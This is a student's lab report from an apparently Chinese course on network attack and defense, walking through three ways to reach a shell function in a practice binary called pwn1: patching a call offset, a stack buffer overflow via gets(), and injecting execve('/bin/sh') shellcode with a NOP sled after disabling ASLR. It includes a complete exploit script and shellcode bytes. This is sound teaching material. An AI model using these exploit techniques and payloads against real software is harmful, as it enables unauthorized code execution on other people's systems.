20253907 2025-2026-2《网络攻防实践》第9次作业

20253907 2025-2026-2《网络攻防实践》第9次作业

1. 实践目标

本次实践的对象是一个名为 pwn1 的 Linux 可执行文件。该程序正常执行流程是 main 调用 foo 函数,foo 函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段 getShell,会返回一个可用 Shell。正常情况下这个代码不会被运行。我们的目标是运行这个代码片段,学习三种方法:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数。
  2. 利用 foo 函数的 Bof 漏洞,构造攻击输入字符串,覆盖返回地址,触发 getShell 函数。
  3. 注入自己制作的 shellcode 并运行这段 shellcode。

2. 实验环境

虚拟机 角色 IP 地址
Kali Linux 攻击/分析机 192.168.200.6
pwn1 程序所在目录 /home/kali/pwn1_20253907 -

3. 实验过程

3.1 准备工作

pwn1 文件拷贝到 Kali 中,修改文件名以及操作主机名:
image

3.2 方法一:手工修改可执行文件,改变程序执行流程

3.2.1 反汇编分析

使用 objdump 反汇编 pwn1 文件:

objdump -d pwn1_20253907  > pwn1.asm

再次输入命令

less pwn1.asm

查看关键部分:

080484af <main>:
 80484af:       55                      push   %ebp
 80484b0:       89 e5                   mov    %esp,%ebp
 80484b2:       83 e4 f0                and    $0xfffffff0,%esp
 80484b5:       e8 d7 ff ff ff          call   8048491 <foo>
 80484ba:       b8 00 00 00 00          mov    $0x0,%eax
 80484bf:       c9                      leave
 80484c0:       c3                      ret
 80484c1:       66 90                   xchg   %ax,%ax
 80484c3:       66 90                   xchg   %ax,%ax
 80484c5:       66 90                   xchg   %ax,%ax
 80484c7:       66 90                   xchg   %ax,%ax
 80484c9:       66 90                   xchg   %ax,%ax
 80484cb:       66 90                   xchg   %ax,%ax
 80484cd:       66 90                   xchg   %ax,%ax
 80484cf:       90                      nop

image

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:       89 04 24                mov    %eax,(%esp)
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave
 80484ae:       c3                      ret

image

0804847d <getShell>:
 804847d:       55                      push   %ebp
 804847e:       89 e5                   mov    %esp,%ebp
 8048480:       83 ec 18                sub    $0x18,%esp
 8048483:       c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:       e8 c1 fe ff ff          call   8048350 <system@plt>
 804848f:       c9                      leave
 8048490:       c3                      ret

发现 main 函数中 call 8048491 调用的是 foo,而 getShell 的地址是 0x0804847d 。我们需要将 call 的目标改为 getShell。

3.2.2 计算偏移

分析 main 函数的反汇编代码,call 8048491(调用 foo)的机器码为 e8 d7 ff ff ff,其中 e8 是 call 指令的操作码,后面 4 字节是相对偏移(小端序,补码表示)。我们需要将目标改为 getShell 函数的地址 0x0804847d。

计算新偏移:

  • call 指令的下一条指令地址 = 0x80484af + 5 = 0x80484b4
  • 目标地址 = 0x804847d
  • 偏移 = 目标地址 - 下一条指令地址 = 0x804847d - 0x80484b4 = -0x37
  • 补码表示为 0xffffffc9,小端序为 c9 ff ff ff

因此,新的机器码应为 e8 c9 ff ff ff

3.2.3 使用十六进制编辑器修改

使用 vim 的十六进制模式或 hexedit 工具修改二进制文件:

cp pwn1_20253907 pwn1_mod_20253907
hexedit pwn1_mod_20253907

在 hexedit 中,按 / 搜索十六进制序列 e8 d7 ff ff ff,找到后修改为 e8 c9 ff ff ff。按 Ctrl+X 保存退出。
image

3.2.4 运行验证

./pwn1_mod_20253907

程序运行后,原本会调用 foo,现在直接调用 getShell,应弹出 shell。

image

3.3 方法二:利用 BOF 漏洞触发 getShell

3.3.1 分析漏洞

由于gets 函数不检查输入长度,输入多少字节,只是往栈上写多少字节,因此可以越过buf,溢出覆盖返回地址。

foo 函数通过 gets 读取输入到 ebp-0x1c 处,缓冲区大小实际为 28 字节,但 gets 不限制长度,可以覆盖 ebp 和返回地址。返回地址位于 ebp+4,从缓冲区起始到返回地址的距离为 0x1c + 4 = 0x20 = 32 字节。因此,输入的前 32 字节用于填充,第 33-36 字节覆盖返回地址。

3.3.2 确定 getShell 地址

根据反汇编,getShell 函数地址为 0x0804847d

3.3.3 构造 payload

python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*32 + struct.pack("<I", 0x0804847d))' > payload

image

3.3.4 运行攻击

(cat payload; cat) | ./pwn1_20253907

成功后会弹出 shell,验证命令如 idwhoami
image

3.4 方法三:注入 Shellcode

3.4.1 关闭 ASLR

由于 shellcode 需要在栈中执行,而 Linux 开启 ASLR 后,每次运行程序时栈地址都会发生变化,因此需要先关闭 ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

image

3.4.2 分析栈结构

在第二个方法中已经分析过 foo 函数的栈结构:

lea eax, [ebp-0x1c]

说明输入缓冲区起始地址为:

ebp - 0x1c

返回地址位于:

ebp + 4

因此从输入缓冲区起始位置到返回地址之间的距离为:

0x1c + 4 = 0x20 = 32 字节

因此本次 shellcode 注入攻击的 payload 基本结构为:

payload = shellcode部分 + 填充到32字节 + shellcode地址

3.4.3 构造 Shellcode

本实验使用经典 Linux 32 位 execve("/bin/sh") shellcode:

xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
cdq
mov al, 0xb
int 0x80

对应机器码:

shellcode = (
    b"\x31\xc0"
    b"\x50"
    b"\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e"
    b"\x89\xe3"
    b"\x50"
    b"\x53"
    b"\x89\xe1"
    b"\x99"
    b"\xb0\x0b"
    b"\xcd\x80"
)

3.4.4 获取缓冲区地址

不能直接在 GDB 中使用 run 获取地址,因为 GDB 中运行时栈地址与实际终端运行时会有差异。

首先在终端中直接运行程序:

./pwn1_20253907

程序会停留在输入状态。

打开另一个终端,查看进程 PID:

ps -aux | grep "pwn1"

image

得到:

kali      269419  ...

随后使用 attach 方式调试:

gdb attach 269419

进入 GDB 后:

set disassembly-flavor intel
bt

查看调用栈。
image

找到 foo 函数所在 frame,进入该 frame:

frame 8

查看 buffer 起始地址:

p/x $ebp-0x1c

得到:
image
说明输入缓冲区起始地址为:

0xffffcf3c

3.4.5 编写 exploit.py

编写 payload 生成脚本:

#!/usr/bin/env python3
import struct
import sys

buf_addr = int(sys.argv[1], 16)

shellcode = (
    b"\x31\xc0"
    b"\x50"
    b"\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e"
    b"\x89\xe3"
    b"\x50"
    b"\x53"
    b"\x89\xe1"
    b"\x99"
    b"\xb0\x0b"
    b"\xcd\x80"
)

offset = 32

# ret 后 esp 会指向这里
ret_addr = buf_addr + offset + 4

payload = b"A" * offset
payload += struct.pack("<I", ret_addr)

payload += b"\x90" * 100
payload += shellcode

sys.stdout.buffer.write(payload + b"\n")

3.4.6 生成 Payload

使用命令:

python3 exploit.py 0xffffcf3c > payload

3.4.7 执行攻击

运行:

(cat payload; cat) | ./pwn1_20253907

输入测试,攻击成功!:

whoami
id

image

即可验证已经成功获取 Shell 权限。


3.4.8 实验结果

成功利用缓冲区溢出漏洞,将 shellcode 注入到栈空间中,并通过覆盖返回地址使程序跳转执行 shellcode,最终成功获得 shell。实验验证了缓冲区溢出不仅能够修改程序控制流,还能够实现任意代码执行。

4. 汇编指令机器码学习

指令 机器码 说明
NOP 0x90 空操作
JNE 0x75 条件跳转(不相等)
JE 0x74 条件跳转(相等)
JMP 0xEB (短) / 0xE9 (近) 无条件跳转
CMP 0x38-0x3F (不同形式) 比较操作

5. 实验中遇到的问题及解决

  • 问题1:修改二进制文件后程序无法运行(Segmentation Fault)
    解决:确认修改的偏移计算正确,call 指令使用相对偏移,不能直接改绝对地址。

  • 问题2:BOF 攻击时 shell 一闪而过
    解决:使用 cat payload - | ./pwn1 保持输入流打开,或使用 (cat payload; cat) | ./pwn1

  • 问题3:shellcode 注入后没有获得 shell=
    解决:一是使用 GDB 调试,确认返回地址正确落在 NOP sled 区域;二是不要使用frame 8得到的地址,而是buffer 起始地址,两个地址不一样。

6. 学习感想与体会

本次实验让我深入理解了缓冲区溢出攻击的原理,实验过程中参考了王晓寒同学的做法,尤其是方法三,总是攻击失败,过程中经常找错地址,请教多次才得以解决。本次实验主要学习以下内容:
通过手工修改二进制文件,我学会了如何操控程序执行流;
通过 BOF 攻击,我体会了栈溢出覆盖返回地址的方法;
通过 shellcode 注入,我见识了如何执行任意代码。
三种方法层层递进,从简单到复杂,让我对软件漏洞利用有了直观认识,见识到了这就是网络攻防当中的pwn题的影子。

posted @ 2026-05-28 16:24  navada  阅读(14)  评论(0)    收藏  举报